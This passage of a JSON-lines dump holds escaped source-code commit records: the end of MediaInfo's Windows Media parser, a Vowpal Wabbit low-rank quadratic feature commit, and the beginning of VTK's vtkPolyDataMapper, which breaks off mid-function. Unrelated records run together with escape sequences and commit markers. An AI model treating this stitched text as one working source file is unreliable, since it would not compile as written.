Information\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::HowTo(stream_t UNUSED(StreamKind))\r\n{\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ C++\r\n\/\/***************************************************************************\r\n\r\n} \/\/NameSpace\r\n\r\n#endif \/\/MEDIAINFO_WM_YES\r\n<commit_msg><commit_after>\/\/ File_Wm - Info for Windows Media files\r\n\/\/ Copyright (C) 2002-2008 Jerome Martinez, Zen@MediaArea.net\r\n\/\/\r\n\/\/ This library is free software: you can redistribute it and\/or modify it\r\n\/\/ under the terms of the GNU Lesser General Public License as published by\r\n\/\/ the Free Software Foundation, either version 3 of the License, or\r\n\/\/ any later version.\r\n\/\/\r\n\/\/ This library is distributed in the hope that it will be useful,\r\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n\/\/ GNU Lesser General Public License for more details.\r\n\/\/\r\n\/\/ You should have received a copy of the GNU Lesser General Public License\r\n\/\/ along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/\r\n\/\/ Main part\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\/\/---------------------------------------------------------------------------\r\n\/\/ Compilation conditions\r\n#include <MediaInfo\/Setup.h>\r\n#ifdef __BORLANDC__\r\n    #pragma hdrstop\r\n#endif\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#ifdef MEDIAINFO_WM_YES\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#include \"MediaInfo\/Multiple\/File_Wm.h\"\r\n#if defined(MEDIAINFO_MPEGPS_YES)\r\n    #include \"MediaInfo\/Multiple\/File_MpegPs.h\"\r\n#endif\r\n#include <ZenLib\/Utils.h>\r\nusing namespace ZenLib;\r\n\/\/---------------------------------------------------------------------------\r\n\r\nnamespace MediaInfoLib\r\n{\r\n\r\n\/\/***************************************************************************\r\n\/\/ Format\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nFile_Wm::File_Wm()\r\n:File__Analyze()\r\n{\r\n    \/\/Configuration\r\n    DataMustAlwaysBeComplete=false;\r\n\r\n    \/\/Stream\r\n    Stream_Number=0;\r\n    Data_Parse_Padding=0;\r\n    MaximumDataPacketSize=(int32u)-1;\r\n    NumberPayloads=1;\r\n    NumberPayloads_Pos=0;\r\n    Data_Parse_Begin=true;\r\n    IsDvrMs=false;\r\n\r\n    \/\/TO DELETE\r\n    Buffer_MaximumSize=1000000000;\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Read_Buffer_Finalize()\r\n{\r\n    \/\/Encryption management\r\n    \/*const Ztring& Encryption=Get(Stream_General, 0, \"Encryption\");\r\n    if (!Encryption.empty())\r\n    {\r\n        for (size_t StreamKind=Stream_General+1; StreamKind<Stream_Max; StreamKind++)\r\n            for (size_t Pos=0; Pos<(*Stream[StreamKind]).size(); Pos++)\r\n                Fill ((stream_t)StreamKind, 0, \"Encryption\", Encryption);\r\n    }\r\n\r\n        Fill(\"BitRate\", CurrentBitRate[StreamNumber]);\r\n    *\/\r\n\r\n    std::map<int16u, stream>::iterator Temp=Stream.begin();\r\n    while (Temp!=Stream.end())\r\n    {\r\n        std::map<std::string, ZenLib::Ztring>::iterator Info_Temp=Temp->second.Info.begin();\r\n        while (Info_Temp!=Temp->second.Info.end())\r\n        {\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, Info_Temp->first.c_str(), Info_Temp->second);\r\n            Info_Temp++;\r\n        }\r\n\r\n        if (Temp->second.StreamKind==Stream_Video && Temp->second.AverageTimePerFrame>0)\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"FrameRate\", ((float)10000000)\/Temp->second.AverageTimePerFrame, 3, true);\r\n        if (Temp->second.AverageBitRate>0)\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"BitRate\", Temp->second.AverageBitRate, 10, true);\r\n        if (Temp->second.LanguageID!=(int16u)-1 && Temp->second.LanguageID<(int16u)Languages.size())\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"Language\", Languages[Temp->second.LanguageID]);\r\n        else if (!Language_ForAll.empty())\r\n            Fill(Temp->second.StreamKind, Temp->second.StreamPos, \"Language\", Language_ForAll);\r\n        if (Temp->second.Parser)\r\n        {\r\n            if (Temp->second.StreamKind==Stream_Max)\r\n                if (Temp->second.Parser->Count_Get(Stream_Audio))\r\n                {\r\n                    Stream_Prepare(Stream_Audio);\r\n                    Temp->second.StreamKind=StreamKind_Last;\r\n                    Temp->second.StreamPos=StreamPos_Last;\r\n                }\r\n            Merge(*Temp->second.Parser, Temp->second.StreamKind, 0, Temp->second.StreamPos);\r\n        }\r\n        Temp++;\r\n    }\r\n\r\n    \/\/Purge what is not needed anymore\r\n    if (!File_Name.empty()) \/\/Only if this is not a buffer, with buffer we can have more data\r\n        Stream.clear();\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Buffer\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse()\r\n{\r\n    if (!MustUseAlternativeParser)\r\n    {\r\n        \/\/Parsing\r\n        int128u Name;\r\n        int64u Size;\r\n        Get_UUID(Name,                                              \"Name\");\r\n        Get_L8 (Size,                                               \"Size\");\r\n\r\n        \/\/Filling\r\n        #ifndef __BORLANDC__\r\n            Header_Fill_Code(Name.hi, Ztring().From_UUID(Name));\r\n        #else \/\/__BORLANDC__\r\n            Header_Fill_Code(Name.hi&0xFFFFFFFF, Ztring().From_UUID(Name)); \/\/Borland does not like int64u for const?\r\n        #endif \/\/__BORLANDC__\r\n        Header_Fill_Size(Size);\r\n    }\r\n    else\r\n        \/\/Data\r\n        Header_Parse_Data();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data()\r\n{\r\n    \/\/Only Payload\r\n    if (Data_Parse_Begin)\r\n        Header_Parse_Data_Begin();\r\n\r\n    \/\/Parsing\r\n    Header_Parse_Data_Payload();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data_Begin()\r\n{\r\n    \/\/Parsing\r\n    PacketLength=0; SizeOfMediaObject=0;\r\n    int8u  Flags, ErrorCorrectionData_Length, ErrorCorrectionLengthType, SequenceType, PaddingLengthType, PacketLengthType;\r\n    bool   ErrorCorrectionPresent;\r\n    Element_Begin(\"Error Correction\");\r\n        Get_L1 (Flags,                                          \"Flags\");\r\n            Get_Flags (Flags&0x0F, ErrorCorrectionData_Length,  \"Error Correction Data Length\"); \/\/4 lowest bits\r\n            Skip_Flags(Flags, 4,                                \"Opaque Data Present\");\r\n            Get_Flags ((Flags>>5)&0x03, ErrorCorrectionLengthType, \"Error Correction Length Type\"); \/\/bits 6 and 7\r\n            Get_Flags (Flags, 7, ErrorCorrectionPresent,        \"Error Correction Present\");\r\n        if (ErrorCorrectionPresent && ErrorCorrectionLengthType==0 && ErrorCorrectionData_Length==2)\r\n        {\r\n            int8u  TypeNumber;\r\n            Get_L1 (TypeNumber,                                 \"Type\/Number\");\r\n                Skip_Flags((TypeNumber>>4)&0x0F, \"Type\");\r\n                Skip_Flags( TypeNumber    &0x0F, \"Number\");\r\n            Skip_L1(                                            \"Cycle\");\r\n        }\r\n    Element_End();\r\n    Element_Begin(\"Payload Parsing Information\");\r\n        Get_L1 (Flags,                                          \"Length Type Flags\");\r\n            Get_Flags (Flags, 0, MultiplePayloadsPresent,       \"Multiple Payloads Present\");\r\n            Get_Flags ((Flags>>1)&0x3, SequenceType,            \"Sequence Type\");\r\n            Get_Flags ((Flags>>3)&0x3, PaddingLengthType,       \"Padding Length Type\");\r\n            Get_Flags ((Flags>>5)&0x3, PacketLengthType,        \"Packet Length Type\");\r\n            Skip_Flags(Flags, 7,                                \"Error Correction Present\");\r\n        Get_L1 (Flags,                                          \"Property Flags\");\r\n            Get_Flags ( Flags    &0x3, ReplicatedDataLengthType, \"Replicated Data Length Type\");\r\n            Get_Flags ((Flags>>2)&0x3, OffsetIntoMediaObjectLengthType, \"Offset Into Media Object Length Type\");\r\n            Get_Flags ((Flags>>4)&0x3, MediaObjectNumberLengthType, \"Media Object Number Length Type\");\r\n            Get_Flags ((Flags>>6)&0x3, StreamNumberLengthType,  \"Stream Number Length Type\");\r\n        switch (PacketLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Packet Length\"); PacketLength=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Packet Length\"); PacketLength=Data;} break;\r\n            case 3 :               Get_L4(PacketLength,         \"Packet Length\");                     break;\r\n            default: ;\r\n        }\r\n        switch (SequenceType)\r\n        {\r\n            case 1 : Skip_L1(                                   \"Sequence\"); break;\r\n            case 2 : Skip_L2(                                   \"Sequence\"); break;\r\n            case 3 : Skip_L4(                                   \"Sequence\"); break;\r\n            default: ;\r\n        }\r\n        switch (PaddingLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Padding Length\"); Data_Parse_Padding=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Padding Length\"); Data_Parse_Padding=Data;} break;\r\n            case 3 :               Get_L4(Data_Parse_Padding,   \"Padding Length\");                           break;\r\n            default: Data_Parse_Padding=0;\r\n        }\r\n        Skip_L4(                                                \"Send Time\");\r\n        Skip_L2(                                                \"Duration\");\r\n    Element_End();\r\n\r\n    if (MultiplePayloadsPresent)\r\n        Header_Parse_Data_MultiplePayloads();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data_MultiplePayloads()\r\n{\r\n    \/\/Parsing\r\n    Element_Begin(\"Multiple Payloads\");\r\n        int8u Flags;\r\n        Get_L1 (Flags,                                          \"Flags\");\r\n            Get_Flags ( Flags    &0x3F, NumberPayloads,         \"Number of Payloads\"); \/\/6 bits\r\n            Get_Flags ((Flags>>6)&0x03, PayloadLengthType,      \"Payload Length Type\"); \/\/bits 6 and 7\r\n    Element_End();\r\n\r\n    \/\/Filling\r\n    NumberPayloads_Pos=0;\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::Header_Parse_Data_Payload()\r\n{\r\n    Element_Begin(\"Payload\");\r\n        int32u ReplicatedDataLength;\r\n        int8u  StreamNumber;\r\n        Get_L1 (StreamNumber,                                   \"Stream Number\");\r\n        StreamNumber&=0x7F; \/\/For KeyFrame\r\n        Element_Info(StreamNumber);\r\n        switch (MediaObjectNumberLengthType)\r\n        {\r\n            case 1 : Skip_L1(                                   \"Media Object Number\"); break;\r\n            case 2 : Skip_L2(                                   \"Media Object Number\"); break;\r\n            case 3 : Skip_L4(                                   \"Media Object Number\"); break;\r\n            default: ;\r\n        }\r\n        switch (OffsetIntoMediaObjectLengthType)\r\n        {\r\n            case 1 : Skip_L1(                                   \"Offset Into Media Object\"); break;\r\n            case 2 : Skip_L2(                                   \"Offset Into Media Object\"); break;\r\n            case 3 : Skip_L4(                                   \"Offset Into Media Object\"); break;\r\n            default: ;\r\n        }\r\n        switch (ReplicatedDataLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Replicated Data Length\"); ReplicatedDataLength=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Replicated Data Length\"); ReplicatedDataLength=Data;} break;\r\n            case 3 :               Get_L4(ReplicatedDataLength, \"Replicated Data Length\");                             break;\r\n            default: ;\r\n        }\r\n        if (ReplicatedDataLengthType!=0 && ReplicatedDataLength>0)\r\n        {\r\n            if (ReplicatedDataLength>=8)\r\n            {\r\n                Get_L4 (SizeOfMediaObject,                      \"Size Of Media Object\");\r\n                Skip_L4(                                        \"Presentation Time\");\r\n                if (ReplicatedDataLength>8)\r\n                {\r\n                    Skip_XX(ReplicatedDataLength-8,             \"Payload Extension\");\r\n                }\r\n            }\r\n            else if (ReplicatedDataLength==1)\r\n            {\r\n                Skip_L1(                                        \"Presentation Time Delta\");\r\n                \/\/TODO\r\n            }\r\n            else\r\n                Skip_XX(ReplicatedDataLength,                   \"Replicated Data\");\r\n        }\r\n    Element_End();\r\n\r\n    if (MultiplePayloadsPresent)\r\n    {\r\n        switch (PayloadLengthType)\r\n        {\r\n            case 1 : {int8u  Data; Get_L1(Data,                 \"Payload Length\"); SizeOfMediaObject=Data;} break;\r\n            case 2 : {int16u Data; Get_L2(Data,                 \"Payload Length\"); SizeOfMediaObject=Data;} break;\r\n            case 3 :               Get_L4(SizeOfMediaObject,    \"Payload Length\");                             break;\r\n            default: SizeOfMediaObject=0; \/\/Problem\r\n        }\r\n    }\r\n\r\n    if (PacketLength==0 && SizeOfMediaObject>0)\r\n        PacketLength=(int32u)(Element_Offset+SizeOfMediaObject+Data_Parse_Padding);\r\n\r\n    if (NumberPayloads_Pos+1<NumberPayloads)\r\n        PacketLength-=Data_Parse_Padding; \/\/Padding is only for the last packet\r\n    if (PacketLength>MaximumDataPacketSize)\r\n        PacketLength=MaximumDataPacketSize; \/\/Some files seem to have a wrong SizeOfMediaObject, trying to parse them and trusting the header better than SizeOfMediaObject\r\n\r\n    \/\/Filling\r\n    Header_Fill_Code(StreamNumber, \"Packet\");\r\n    Header_Fill_Size(PacketLength);\r\n\r\n    PacketLength=0; \/\/Used\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Information\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid File_Wm::HowTo(stream_t UNUSED(StreamKind))\r\n{\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ C++\r\n\/\/***************************************************************************\r\n\r\n} \/\/NameSpace\r\n\r\n#endif \/\/MEDIAINFO_WM_YES\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"gd.h\"\n#include \"vw.h\"\n#include \"lrq.h\"\n#include \"rand48.h\"\n#include <float.h>\n\nnamespace LRQ {\n\n  struct LRQstate {\n    vw* all;\n    bool lrindices[256];\n    size_t orig_size[256];\n    std::vector<std::string> lrpairs;\n    bool dropout;\n    uint64_t seed;\n    uint64_t initial_seed;\n  };\n}\n\nnamespace {\n  bool \n  valid_int (const char* s)\n    {\n      char* endptr;\n\n      int v = strtoul (s, &endptr, 0);\n      (void) v;\n\n      return (*s != '\\0' && *endptr == '\\0');\n    }\n\n  inline bool\n  cheesyrbit (uint64_t& seed)\n    {\n      return merand48 (seed) > 0.5;\n    }\n\n  inline float\n  cheesyrand (uint32_t x)\n    {\n      uint32_t v = 1664525 * x + 1013904223;\n\n      return ((float) v) \/ 2147483648;\n    }\n\n  inline bool\n  example_is_test (example* ec)\n    {\n      return ec->test_only || (((label_data*) ec->ld)->label == FLT_MAX);\n    }\n\n  void\n  reset_seed (void* d)\n    {\n      LRQ::LRQstate* lrq = (LRQ::LRQstate*) d;\n\n      if (lrq->all->bfgs)\n        lrq->seed = lrq->initial_seed;\n    }\n}\n\nnamespace LRQ {\n\n  void learn(void* d, learner& base, example* ec)\n  {\n    LRQstate* lrq = (LRQstate*) d;\n    vw& all = *lrq->all;\n\n    \/\/ Remember original features\n        \n    for (unsigned char* i = ec->indices.begin; i != ec->indices.end; ++i)\n      {\n        if (lrq->lrindices[*i])\n          lrq->orig_size[*i] = ec->atomics[*i].size ();\n      }\n\n    size_t which = ec->example_counter;\n    simple_prediction first_prediction;\n    float first_loss;\n    unsigned int maxiter = (all.training && ! example_is_test (ec)) ? 2 : 1;\n\n    bool do_dropout = lrq->dropout && all.training && ! example_is_test (ec);\n    float scale = (! lrq->dropout || do_dropout) ? 1 : 0.5;\n\n    for (unsigned int iter = 0; iter < maxiter; ++iter, ++which)\n      {\n        \/\/ Add left LRQ features, holding right LRQ features fixed\n        \/\/     and vice versa\n        \/\/ TODO: what happens with --lrq ab2 --lrq ac2\n        \/\/       i.e. namespace occurs multiple times (?)\n    \n        for (vector<string>::iterator i = lrq->lrpairs.begin ();\n             i != lrq->lrpairs.end ();\n             ++i)\n          {\n            unsigned char left = (*i)[which%2];\n            unsigned char right = (*i)[(which+1)%2];\n            unsigned int k = atoi (i->c_str () + 2);\n\n            for (unsigned int lfn = 0; lfn < lrq->orig_size[left]; ++lfn)\n              {\n                feature* lf = ec->atomics[left].begin + lfn;\n                size_t lindex = lf->weight_index + ec->ft_offset;\n    \n                for (unsigned int n = 1; n <= k; ++n)\n                  {\n                    if (! do_dropout || cheesyrbit (lrq->seed))\n                      {\n                        uint32_t lwindex = lindex + n * all.reg.stride;\n\n                        float* lw = &all.reg.weight_vector[lwindex & all.reg.weight_mask];\n\n                        \/\/ perturb away from saddle point at (0, 0)\n                        if (all.training && ! example_is_test (ec) && *lw == 0)\n                          *lw = cheesyrand (lwindex);\n        \n                        for (unsigned int rfn = 0; \n                             rfn < lrq->orig_size[right]; \n                             ++rfn)\n                          {\n                            feature* rf = ec->atomics[right].begin + rfn;\n\n                            \/\/ NB: ec->ft_offset added by base learner\n                            size_t rindex = rf->weight_index;\n                            uint32_t rwindex = rindex + n * all.reg.stride;\n        \n                            feature lrq; \n                            lrq.x = scale * *lw;\n                            lrq.weight_index = rwindex; \n\n                            ec->atomics[right].push_back (lrq);\n\n                            if (all.audit)\n                              {\n                                char name[4] = { 'l', 'r', 'q', '\\0' };\n                                char subname[4] = { left, '^', right, '\\0' };\n                                audit_data ad = { name, subname, lrq.weight_index, lrq.x, false };\n                                ec->audit_features[right].push_back (ad);\n                              }\n                          }\n                      }\n                  }\n              }\n          }\n\n        base.learn(ec);\/\/Recursive Call\n\n        \/\/ Restore example\n\n        if (iter == 0)\n          {\n            first_prediction = ec->final_prediction;\n            first_loss = ec->loss;\n          }\n        else\n          {\n            ec->final_prediction = first_prediction;\n            ec->loss = first_loss;\n          }\n\n        for (vector<string>::iterator i = lrq->lrpairs.begin ();\n             i != lrq->lrpairs.end ();\n             ++i)\n          {\n            unsigned char right = (*i)[(which+1)%2];\n\n            ec->atomics[right].end = \n              ec->atomics[right].begin + lrq->orig_size[right];\n\n            if (all.audit)\n              ec->audit_features[right].end = \n                ec->audit_features[right].begin + lrq->orig_size[right];\n          }\n      }\n  }\n\n  learner* setup(vw& all, std::vector<std::string>&opts, po::variables_map& vm, po::variables_map& vm_file)\n  {\/\/parse and set arguments\n    LRQstate* lrq = (LRQstate*) calloc (1, sizeof (LRQstate));\n    unsigned int maxk = 0;\n    lrq->all = &all;\n\n    size_t random_seed = 0;\n    if (vm.count(\"random_seed\")) random_seed = vm[\"random_seed\"].as<size_t> ();\n    if (vm_file.count(\"random_seed\")) random_seed = vm_file[\"random_seed\"].as<size_t> ();\n\n    lrq->initial_seed = lrq->seed = random_seed | 8675309;\n    lrq->dropout = vm.count(\"lrqdropout\") || vm_file.count(\"lrqdropout\");\n\n    if (lrq->dropout && !vm_file.count(\"lrqdropout\"))\n      all.options_from_file.append(\"--lrqdropout\");\n\n    if (!vm_file.count(\"lrq\"))\n      {\n        lrq->lrpairs = vm[\"lrq\"].as<vector<string> > ();\n\n        \/\/ TODO: doesn't work for non-printable stuff\n        \n        stringstream ss;\n        for (vector<string>::iterator i = lrq->lrpairs.begin (); \n             i != lrq->lrpairs.end (); \n             ++i)\n          {\n            ss << \" --lrq \" << *i;\n          }\n\n        all.options_from_file.append(ss.str());\n      }\n    else\n      lrq->lrpairs = vm_file[\"lrq\"].as<vector<string> > ();\n\n    if (! all.quiet)\n      {\n        cerr << \"creating low rank quadratic features for pairs: \";\n        if (lrq->dropout)\n          cerr << \"(using dropout) \";\n      }\n\n    for (vector<string>::iterator i = lrq->lrpairs.begin (); \n         i != lrq->lrpairs.end (); \n         ++i)\n      {\n        if(!all.quiet){\n          if (( i->length() < 3 ) || ! valid_int (i->c_str () + 2)) {\n            cerr << endl << \"error, low-rank quadratic features must involve two sets and a rank.\\n\";\n            throw exception();\n          }\n          cerr << *i << \" \";\n        }\n        \/\/ TODO: colon-syntax\n        \n        unsigned int k = atoi (i->c_str () + 2);\n\n        lrq->lrindices[(int) (*i)[0]] = max (lrq->lrindices[(int) (*i)[0]], k);\n        lrq->lrindices[(int) (*i)[1]] = max (lrq->lrindices[(int) (*i)[1]], k);\n\n        maxk = max (maxk, k);\n      }\n\n    if(!all.quiet)\n      cerr<<endl;\n        \n    all.wpp = all.wpp * (1 + maxk);\n    learner* l = new learner(lrq, learn, all.l, 1 + maxk);\n    l->set_end_pass (reset_seed);\n\n    \/\/ TODO: leaks memory ?\n    return l;\n  }\n}\n<commit_msg>dropout mmf<commit_after>#include \"gd.h\"\n#include \"vw.h\"\n#include \"lrq.h\"\n#include \"rand48.h\"\n#include <float.h>\n\nnamespace LRQ {\n\n  struct LRQstate {\n    vw* all;\n    bool lrindices[256];\n    size_t orig_size[256];\n    std::vector<std::string> lrpairs;\n    bool dropout;\n    uint64_t seed;\n    uint64_t initial_seed;\n  };\n}\n\nnamespace {\n  bool \n  valid_int (const char* s)\n    {\n      char* endptr;\n\n      int v = strtoul (s, &endptr, 0);\n      (void) v;\n\n      return (*s != '\\0' && *endptr == '\\0');\n    }\n\n  inline bool\n  cheesyrbit (uint64_t& seed)\n    {\n      return merand48 (seed) > 0.5;\n    }\n\n  inline float\n  cheesyrand (uint32_t x)\n    {\n      uint32_t v = 1664525 * x + 1013904223;\n\n      return ((float) v) \/ 2147483648;\n    }\n\n  inline bool\n  example_is_test (example* ec)\n    {\n      return ec->test_only || (((label_data*) ec->ld)->label == FLT_MAX);\n    }\n\n  void\n  reset_seed (void* d)\n    {\n      LRQ::LRQstate* lrq = (LRQ::LRQstate*) d;\n\n      if (lrq->all->bfgs)\n        lrq->seed = lrq->initial_seed;\n    }\n}\n\nnamespace LRQ {\n\n  void learn(void* d, learner& base, example* ec)\n  {\n    LRQstate* lrq = (LRQstate*) d;\n    vw& all = *lrq->all;\n\n    \/\/ Remember original features\n        \n    for (unsigned char* i = ec->indices.begin; i != ec->indices.end; ++i)\n      {\n        if (lrq->lrindices[*i])\n          lrq->orig_size[*i] = ec->atomics[*i].size ();\n      }\n\n    size_t which = ec->example_counter;\n    simple_prediction first_prediction;\n    float first_loss;\n    unsigned int maxiter = (all.training && ! example_is_test (ec)) ? 2 : 1;\n\n    bool do_dropout = lrq->dropout && all.training && ! example_is_test (ec);\n    float scale = (! lrq->dropout || do_dropout) ? 1 : 0.5;\n\n    for (unsigned int iter = 0; iter < maxiter; ++iter, ++which)\n      {\n        \/\/ Add left LRQ features, holding right LRQ features fixed\n        \/\/     and vice versa\n        \/\/ TODO: what happens with --lrq ab2 --lrq ac2\n        \/\/       i.e. namespace occurs multiple times (?)\n    \n        for (vector<string>::iterator i = lrq->lrpairs.begin ();\n             i != lrq->lrpairs.end ();\n             ++i)\n          {\n            unsigned char left = (*i)[which%2];\n            unsigned char right = (*i)[(which+1)%2];\n            unsigned int k = atoi (i->c_str () + 2);\n\n            for (unsigned int lfn = 0; lfn < lrq->orig_size[left]; ++lfn)\n              {\n                feature* lf = ec->atomics[left].begin + lfn;\n                float lfx = lf->x;\n                size_t lindex = lf->weight_index + ec->ft_offset;\n    \n                for (unsigned int n = 1; n <= k; ++n)\n                  {\n                    if (! do_dropout || cheesyrbit (lrq->seed))\n                      {\n                        uint32_t lwindex = lindex + n * all.reg.stride;\n\n                        float* lw = &all.reg.weight_vector[lwindex & all.reg.weight_mask];\n\n                        \/\/ perturb away from saddle point at (0, 0)\n                        if (all.training && ! example_is_test (ec) && *lw == 0)\n                          *lw = cheesyrand (lwindex);\n        \n                        for (unsigned int rfn = 0; \n                             rfn < lrq->orig_size[right]; \n                             ++rfn)\n                          {\n                            feature* rf = ec->atomics[right].begin + rfn;\n\n                            \/\/ NB: ec->ft_offset added by base learner\n                            float rfx = rf->x;\n                            size_t rindex = rf->weight_index;\n                            uint32_t rwindex = rindex + n * all.reg.stride;\n        \n                            feature lrq; \n                            lrq.x = scale * *lw * lfx * rfx;\n                            lrq.weight_index = rwindex; \n\n                            ec->atomics[right].push_back (lrq);\n\n                            if (all.audit)\n                              {\n                                char name[4] = { 'l', 'r', 'q', '\\0' };\n                                char subname[4] = { left, '^', right, '\\0' };\n                                audit_data ad = { name, subname, lrq.weight_index, lrq.x, false };\n                                ec->audit_features[right].push_back (ad);\n                              }\n                          }\n                      }\n                  }\n              }\n          }\n\n        base.learn(ec);\/\/Recursive Call\n\n        \/\/ Restore example\n\n        if (iter == 0)\n          {\n            first_prediction = ec->final_prediction;\n            first_loss = ec->loss;\n          }\n        else\n          {\n            ec->final_prediction = first_prediction;\n            ec->loss = first_loss;\n          }\n\n        for (vector<string>::iterator i = lrq->lrpairs.begin ();\n             i != lrq->lrpairs.end ();\n             ++i)\n          {\n            unsigned char right = (*i)[(which+1)%2];\n\n            ec->atomics[right].end = \n              ec->atomics[right].begin + lrq->orig_size[right];\n\n            if (all.audit)\n              ec->audit_features[right].end = \n                ec->audit_features[right].begin + lrq->orig_size[right];\n          }\n      }\n  }\n\n  learner* setup(vw& all, std::vector<std::string>&opts, po::variables_map& vm, po::variables_map& vm_file)\n  {\/\/parse and set arguments\n    LRQstate* lrq = (LRQstate*) calloc (1, sizeof (LRQstate));\n    unsigned int maxk = 0;\n    lrq->all = &all;\n\n    size_t random_seed = 0;\n    if (vm.count(\"random_seed\")) random_seed = vm[\"random_seed\"].as<size_t> ();\n    if (vm_file.count(\"random_seed\")) random_seed = vm_file[\"random_seed\"].as<size_t> ();\n\n    lrq->initial_seed = lrq->seed = random_seed | 8675309;\n    lrq->dropout = vm.count(\"lrqdropout\") || vm_file.count(\"lrqdropout\");\n\n    if (lrq->dropout && !vm_file.count(\"lrqdropout\"))\n      all.options_from_file.append(\"--lrqdropout\");\n\n    if (!vm_file.count(\"lrq\"))\n      {\n        lrq->lrpairs = vm[\"lrq\"].as<vector<string> > ();\n\n        \/\/ TODO: doesn't work for non-printable stuff\n        \n        stringstream ss;\n        for (vector<string>::iterator i = lrq->lrpairs.begin (); \n             i != lrq->lrpairs.end (); \n             ++i)\n          {\n            ss << \" --lrq \" << *i;\n          }\n\n        all.options_from_file.append(ss.str());\n      }\n    else\n      lrq->lrpairs = vm_file[\"lrq\"].as<vector<string> > ();\n\n    if (! all.quiet)\n      {\n        cerr << \"creating low rank quadratic features for pairs: \";\n        if (lrq->dropout)\n          cerr << \"(using dropout) \";\n      }\n\n    for (vector<string>::iterator i = lrq->lrpairs.begin (); \n         i != lrq->lrpairs.end (); \n         ++i)\n      {\n        if(!all.quiet){\n          if (( i->length() < 3 ) || ! valid_int (i->c_str () + 2)) {\n            cerr << endl << \"error, low-rank quadratic features must involve two sets and a rank.\\n\";\n            throw exception();\n          }\n          cerr << *i << \" \";\n        }\n        \/\/ TODO: colon-syntax\n        \n        unsigned int k = atoi (i->c_str () + 2);\n\n        lrq->lrindices[(int) (*i)[0]] = max (lrq->lrindices[(int) (*i)[0]], k);\n        lrq->lrindices[(int) (*i)[1]] = max (lrq->lrindices[(int) (*i)[1]], k);\n\n        maxk = max (maxk, k);\n      }\n\n    if(!all.quiet)\n      cerr<<endl;\n        \n    all.wpp = all.wpp * (1 + maxk);\n    learner* l = new learner(lrq, learn, all.l, 1 + maxk);\n    l->set_end_pass (reset_seed);\n\n    \/\/ TODO: leaks memory ?\n    return l;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkPolyDataMapper.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkPolyDataMapper.h\"\n\n#include \"vtkExecutive.h\"\n#include \"vtkGraphicsFactory.h\"\n#include \"vtkInformation.h\"\n#include \"vtkMath.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkRenderWindow.h\"\n\nvtkCxxRevisionMacro(vtkPolyDataMapper, \"1.38\");\n\n\/\/----------------------------------------------------------------------------\n\/\/ Needed when we don't use the vtkStandardNewMacro.\nvtkInstantiatorNewMacro(vtkPolyDataMapper);\n\n\/\/----------------------------------------------------------------------------\n\/\/ return the correct type of PolyDataMapper \nvtkPolyDataMapper *vtkPolyDataMapper::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkGraphicsFactory::CreateInstance(\"vtkPolyDataMapper\");\n  return (vtkPolyDataMapper*)ret;\n}\n\n\n\/\/----------------------------------------------------------------------------\nvtkPolyDataMapper::vtkPolyDataMapper()\n{\n  this->Piece = 0;\n  this->NumberOfPieces = 1;\n  this->NumberOfSubPieces = 1;\n  this->GhostLevel = 0;\n}\n\nvoid vtkPolyDataMapper::Render(vtkRenderer *ren, vtkActor *act) \n{\n  if (this->Static)\n    {\n    this->RenderPiece(ren,act);\n    return;\n    }\n  \n  int currentPiece, nPieces;\n  vtkPolyData *input = this->GetInput();\n  \n  if (input == NULL)\n    {\n    vtkErrorMacro(\"Mapper has no input.\");\n    return;\n    }\n  \n  nPieces = this->NumberOfPieces * this->NumberOfSubPieces;\n\n  for(int i=0; i<this->NumberOfSubPieces; i++)\n    